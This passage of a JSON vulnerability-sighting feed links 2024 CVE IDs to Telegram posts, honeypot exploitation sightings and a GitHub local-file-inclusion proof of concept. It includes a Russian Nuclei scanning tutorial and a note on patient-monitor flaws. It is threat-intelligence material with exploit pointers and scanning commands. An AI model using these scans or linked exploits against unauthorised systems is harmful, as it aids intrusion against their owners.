"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1257", "type": "seen", "source": "https://t.me/ctinow/180332", "content": "https://ift.tt/WF3XlLJ\nCVE-2024-1257", "creation_timestamp": "2024-02-06T21:26:38.000000Z"}, {"uuid": "6b79b29d-7242-4295-a0c9-66937edb3d0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1256", "type": "seen", "source": "https://t.me/ctinow/180331", "content": "https://ift.tt/TdC4eg7\nCVE-2024-1256", "creation_timestamp": "2024-02-06T21:26:37.000000Z"}, {"uuid": "fe6d23fd-af8f-4b9e-a0bf-253ef33c6297", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1253", "type": "seen", "source": "https://t.me/ctinow/180209", "content": "https://ift.tt/hoGAwsO\nCVE-2024-1253", "creation_timestamp": "2024-02-06T18:27:03.000000Z"}, {"uuid": "dd274f97-4fcf-4b3e-b8b4-e63f2aa2c79d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1252", "type": "seen", "source": "https://t.me/ctinow/180208", "content": "https://ift.tt/v9PUjVn\nCVE-2024-1252", "creation_timestamp": "2024-02-06T18:27:02.000000Z"}, {"uuid": "42440d76-12c6-4c1b-9298-5ca68b37ecaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1209", "type": "seen", "source": "https://t.me/ctinow/184928", "content": "https://ift.tt/oLbF14f\nCVE-2024-1209 Exploit", "creation_timestamp": "2024-02-14T19:16:21.000000Z"}, {"uuid": "ca637b8a-eb4f-499f-83c8-34d148c46f7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1266", "type": "seen", "source": "https://t.me/ctinow/185102", "content": "https://ift.tt/ef3HUOd\nCVE-2024-1266 Exploit", "creation_timestamp": "2024-02-14T23:16:30.000000Z"}, {"uuid": "577b5407-d99d-4086-baf1-68bb316a2079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1265", "type": "seen", "source": "https://t.me/ctinow/185020", "content": "https://ift.tt/pWCL5V7\nCVE-2024-1265 Exploit", "creation_timestamp": "2024-02-14T21:16:37.000000Z"}, {"uuid": "d9787aa5-ff03-4c02-b703-c8096769c450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1261", "type": "seen", "source": "https://t.me/ctinow/180403", "content": "https://ift.tt/SmvHTDK\nCVE-2024-1261", "creation_timestamp": "2024-02-06T23:31:34.000000Z"}, {"uuid": "c0333f21-9e78-46ca-b99e-902d5096f4db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1251", "type": "seen", "source": "https://t.me/ctinow/180159", "content": "https://ift.tt/k7hbiXK\nCVE-2024-1251", "creation_timestamp": "2024-02-06T17:31:56.000000Z"}, {"uuid": "33e2dfc2-87eb-4fa0-bf56-8b42bfb53c9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1271", "type": "seen", "source": "https://t.me/ctinow/180119", "content": "https://ift.tt/VMBLnEa\nCVE-2024-1271", "creation_timestamp": "2024-02-06T16:56:42.000000Z"}, {"uuid": "8ad7ffbe-f1be-4777-8b9e-2455267bc1a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1269", "type": "seen", "source": "https://t.me/ctinow/180491", "content": "https://ift.tt/HL9vGcK\nCVE-2024-1269", "creation_timestamp": "2024-02-07T03:31:21.000000Z"}, {"uuid": "d3df8f29-b8fe-41a5-8a17-cf116b7cda44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1268", "type": "seen", "source": "https://t.me/ctinow/180490", "content": "https://ift.tt/EygxDUn\nCVE-2024-1268", "creation_timestamp": "2024-02-07T03:31:20.000000Z"}, {"uuid": "922188c0-7bfd-4682-b569-ea8a172a2814", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1254", "type": "seen", "source": "https://t.me/ctinow/184368", "content": "https://ift.tt/ImTfrQj\nCVE-2024-1254 Exploit", "creation_timestamp": "2024-02-14T02:16:36.000000Z"}, {"uuid": "6cb93f3d-06ad-4381-900b-621f6e74c77e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1284", "type": "seen", "source": "https://t.me/ctinow/180456", "content": "https://ift.tt/sEMZpzS\nCVE-2024-1284", "creation_timestamp": "2024-02-07T01:26:44.000000Z"}, {"uuid": "d3068799-6276-4ea3-8b71-c36140699668", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1283", "type": "seen", "source": "https://t.me/ctinow/180455", "content": "https://ift.tt/YsQAWJk\nCVE-2024-1283", "creation_timestamp": "2024-02-07T01:26:43.000000Z"}, {"uuid": "502a6a02-3468-49ad-9ed1-9d3f281bd9d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1265", "type": "seen", "source": "https://t.me/ctinow/180454", "content": "https://ift.tt/ztV46cJ\nCVE-2024-1265", "creation_timestamp": "2024-02-07T01:26:42.000000Z"}, {"uuid": "2ef90945-f8ca-4c22-b280-05217e2efde0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1264", "type": "seen", "source": "https://t.me/ctinow/180453", "content": "https://ift.tt/DpcKjdl\nCVE-2024-1264", "creation_timestamp": "2024-02-07T01:26:41.000000Z"}, {"uuid": "a6491d40-8479-4870-8bec-014117f9215c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1262", "type": "seen", "source": "https://t.me/ctinow/180432", "content": "https://ift.tt/pvWFedA\nCVE-2024-1262", "creation_timestamp": "2024-02-07T00:31:41.000000Z"}, {"uuid": "ecaaff78-5875-467c-972c-be02a6825687", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1263", "type": "seen", "source": "https://t.me/ctinow/180433", "content": "https://ift.tt/UWQhZgf\nCVE-2024-1263", "creation_timestamp": "2024-02-07T00:31:42.000000Z"}, {"uuid": "429fd12d-59dd-4771-9e8b-7be721f3d54a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1259", "type": "seen", "source": "https://t.me/ctinow/180365", "content": "https://ift.tt/3ouRh0g\nCVE-2024-1259", "creation_timestamp": "2024-02-06T22:22:21.000000Z"}, {"uuid": "57c61067-4dfb-41c0-bcd0-dadeb43382de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1258", "type": "seen", "source": "https://t.me/ctinow/180364", "content": "https://ift.tt/KtGMVyz\nCVE-2024-1258", "creation_timestamp": "2024-02-06T22:22:20.000000Z"}, {"uuid": "f62da5b5-e9d1-465d-9844-01d2dbe21932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1255", "type": "seen", "source": "https://t.me/ctinow/180294", "content": "https://ift.tt/SX4cWKe\nCVE-2024-1255", "creation_timestamp": "2024-02-06T20:21:43.000000Z"}, {"uuid": "93e02697-b311-40ab-8078-1bb791c9d075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1254", "type": "seen", "source": "https://t.me/ctinow/180293", "content": "https://ift.tt/R1rwyqb\nCVE-2024-1254", "creation_timestamp": "2024-02-06T20:21:42.000000Z"}, {"uuid": "1cc62f42-24a5-46fb-a700-b2acaa868450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1216", "type": "seen", "source": "https://t.me/ctinow/184136", "content": "https://ift.tt/bmWLD8n\nCVE-2024-1216", "creation_timestamp": "2024-02-13T20:22:11.000000Z"}, {"uuid": "b95348fd-c2ca-4829-85f7-def0968ccd6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "seen", "source": "https://t.me/ctinow/185017", "content": "https://ift.tt/ySsvKGI\nCVE-2024-1210 Exploit", "creation_timestamp": "2024-02-14T21:16:33.000000Z"}, {"uuid": "749c5995-4c8c-435d-bf44-052dabfe6146", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1252", "type": "seen", "source": "https://t.me/ctinow/184296", "content": "https://ift.tt/EOU2s7C\nCVE-2024-1252 Exploit", "creation_timestamp": "2024-02-13T23:16:49.000000Z"}, {"uuid": "4af2ae64-8bc4-4aed-8c43-62cccb396d88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1253", "type": "seen", "source": "https://t.me/ctinow/184295", "content": "https://ift.tt/0TXxBbv\nCVE-2024-1253 Exploit", "creation_timestamp": "2024-02-13T23:16:48.000000Z"}, {"uuid": "eadff0fa-1dd3-4299-a83d-8d81fa700927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1208", "type": "seen", "source": "https://t.me/ctinow/183960", "content": "https://ift.tt/ew35MCX\nCVE-2024-1208 Exploit", "creation_timestamp": "2024-02-13T17:16:16.000000Z"}, {"uuid": "263a33d6-57ea-4062-862f-910a578c9b97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1215", "type": "seen", "source": "https://t.me/ctinow/183489", "content": "https://ift.tt/DgLNz5x\nCVE-2024-1215 Exploit", "creation_timestamp": "2024-02-12T23:16:22.000000Z"}, {"uuid": "b03483cb-1dea-47eb-95b5-310ce3647edb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1250", "type": "seen", "source": "https://t.me/ctinow/183435", "content": "https://ift.tt/kJr4i53\nCVE-2024-1250", "creation_timestamp": "2024-02-12T22:31:25.000000Z"}, {"uuid": "46b8476e-66e5-48ad-8730-060dd889808c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1200", "type": "seen", "source": "https://t.me/ctinow/183404", "content": "https://ift.tt/WBJCT6E\nCVE-2024-1200 Exploit", "creation_timestamp": "2024-02-12T21:16:40.000000Z"}, {"uuid": "91465536-f7c0-430c-8b23-322d8f0e290e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1225", "type": "seen", "source": "https://t.me/ctinow/179212", "content": "https://ift.tt/qTOkYft\nCVE-2024-1225", "creation_timestamp": "2024-02-05T14:21:45.000000Z"}, {"uuid": "0555fd25-c06c-403d-9fbb-52e2fa9fb796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1201", "type": "seen", "source": "https://t.me/ctinow/178064", "content": "https://ift.tt/9Cj2vaJ\nCVE-2024-1201", "creation_timestamp": "2024-02-02T13:21:33.000000Z"}, {"uuid": "32318f60-8b82-4e29-9aab-3db3cfdbf812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1215", "type": "seen", "source": "https://t.me/ctinow/178614", "content": "https://ift.tt/xA8XIvj\nCVE-2024-1215", "creation_timestamp": "2024-02-03T17:31:17.000000Z"}, {"uuid": "d09b100b-623b-45c1-9710-47cd312d9402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1200", "type": "seen", "source": "https://t.me/ctinow/178385", "content": "https://ift.tt/fQeadqD\nCVE-2024-1200", "creation_timestamp": "2024-02-03T03:21:53.000000Z"}, {"uuid": "221835da-be5b-4dc4-918d-c0372422eca8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1246", "type": "seen", "source": "https://t.me/ctinow/182250", "content": "https://ift.tt/5s0XyWz\nCVE-2024-1246", "creation_timestamp": "2024-02-09T21:32:10.000000Z"}, {"uuid": "b2068c5f-d4d1-4283-8a10-73fc8523d031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1245", "type": "seen", "source": "https://t.me/ctinow/182249", "content": "https://ift.tt/oR7pyuJ\nCVE-2024-1245", "creation_timestamp": "2024-02-09T21:32:09.000000Z"}, {"uuid": "1e1982ab-864b-4243-9594-49e514872fda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1284", "type": "seen", "source": "https://t.me/ctinow/181646", "content": "https://ift.tt/xayusvi\nChromium: CVE-2024-1284 Use after free in Mojo", "creation_timestamp": "2024-02-08T21:36:41.000000Z"}, {"uuid": "97c28a37-ed44-4905-b546-a25c21151ee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1283", "type": "seen", "source": "https://t.me/ctinow/181645", "content": "https://ift.tt/qPCHD28\nChromium: CVE-2024-1283 Heap buffer overflow in Skia", "creation_timestamp": "2024-02-08T21:36:39.000000Z"}, {"uuid": "4e913a19-be5d-4729-97f5-4ee9d610dbb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1207", "type": "seen", "source": "https://t.me/ctinow/181264", "content": "https://ift.tt/mir7ajL\nCVE-2024-1207", "creation_timestamp": "2024-02-08T10:21:30.000000Z"}, {"uuid": "28c122cb-b9c5-47da-8d06-7f7af86c1340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "published-proof-of-concept", "source": "https://t.me/ckeArsenal/245", "content": "https://github.com/Nxploited/CVE-2024-12209\n\nUnauthenticated Local File Inclusion\n#github #exploit", "creation_timestamp": "2024-12-24T11:45:43.000000Z"}, {"uuid": "4f3e1781-1b19-45f3-98d8-edefa673e34a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-30)", "content": "", "creation_timestamp": "2026-04-30T00:00:00.000000Z"}, {"uuid": "94e6bebe-32e8-456a-b621-e1b8f398d85d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mknr2dopkb2w", "content": "Want to know how a \u201csmall\u201d WebAssembly issue can become a big security problem?\n\nIn our new article, SSD Labs researcher, Aaron Cho, analyzes CVE-2024-12053. An arbitrary WebAssembly type confu\u2026\n\n\ud83d\udd01 RT @SecuriTeam_SSD | reposted by @hasherezade\nhttps://x.com/SecuriTeam_SSD/status/2049406877620941208", "creation_timestamp": "2026-04-29T18:45:33.017236Z"}, {"uuid": "bd65b28e-111b-4310-a3c8-a46ce5e05a0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-29)", "content": "", "creation_timestamp": "2026-04-29T00:00:00.000000Z"}, {"uuid": "75c1ccdb-1cf9-4f24-9256-815497710b8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-29)", "content": "", "creation_timestamp": "2026-07-30T10:00:03.021285Z"}, {"uuid": "412ca9a8-b026-4d61-866f-50072722ac22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-29)", "content": "", "creation_timestamp": "2026-04-29T00:00:00.000000Z"}, {"uuid": "142ec924-ab06-4d86-9063-37bf730173f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-29)", "content": "", "creation_timestamp": "2026-07-30T10:15:03.167441Z"}, {"uuid": "95016ef3-aba4-4529-86d9-2777466fb4fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://t.me/purple_team_diary/50", "content": "\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 Nuclei (\u0427\u0430\u0441\u0442\u044c 1) \n\nNuclei \u2014 \u044d\u0442\u043e \u043c\u043e\u0449\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 ProjectDiscovery. \u041e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u0430\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442, \u043a\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043a\u0430\u0442\u044c \u0438 \u043a\u0430\u043a \u0438\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c. \u042d\u0442\u043e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0434\u043b\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0437\u0430\u0434\u0430\u0447.\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430: \n\ngo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest\n\n\u041f\u0435\u0440\u0435\u0434 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0448\u0430\u0431\u043b\u043e\u043d \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0432\u043e\u0435\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432:\n\n\n# \u0423\u0434\u0430\u043b\u044f\u0435\u043c \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u0430\nsed -i '$ d' nuclei-templates/CVE-2024-1234.yaml\n\n# \u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0448\u0430\u0431\u043b\u043e\u043d\nnuclei -u https://example.com -t nuclei-templates/CVE-2024-1234.yaml -sign\n\n# \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\nnuclei -target https://example.com -t nuclei-templates/CVE-2024-1234.yaml -code\n\n\nNuclei \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0445 \u043e\u043f\u0446\u0438\u0439 \u0434\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0442\u043e\u0447\u043d\u043e\u0433\u043e \u0438 \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f:\n\n# \u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438\nnuclei -u https://example.com -t nuclei-templates/ -timeout 10\n\n# \u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u0432\u044b\u0432\u043e\u0434\u043e\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0432 \u0444\u0430\u0439\u043b\nnuclei -u https://example.com -t nuclei-templates/ -o results.txt\n\n#Pentest", "creation_timestamp": "2026-08-04T14:00:16.220878Z"}, {"uuid": "64e9647c-f226-4f16-8299-e50f3d496246", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-31)", "content": "", "creation_timestamp": "2026-08-01T10:00:03.427240Z"}, {"uuid": "6fa7f5cc-fa96-4c09-88bb-38c7d3b37901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-31)", "content": "", "creation_timestamp": "2026-08-01T10:15:03.967535Z"}, {"uuid": "c0049c5b-cda8-444a-8f69-df5747e18263", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://t.me/purp_sec/223", "content": "\u0412 \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0430\u0445 \u043f\u0430\u0446\u0438\u0435\u043d\u0442\u0430 Contec Health CMS8000 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\ud83d\udd35CVE-2024-12248 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0438\u043f\u0430 out-of-bounds. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 UDP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n\ud83d\udd35CVE-2025-0626 \u2014 \u043c\u043e\u043d\u0438\u0442\u043e\u0440 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u043c\u0443 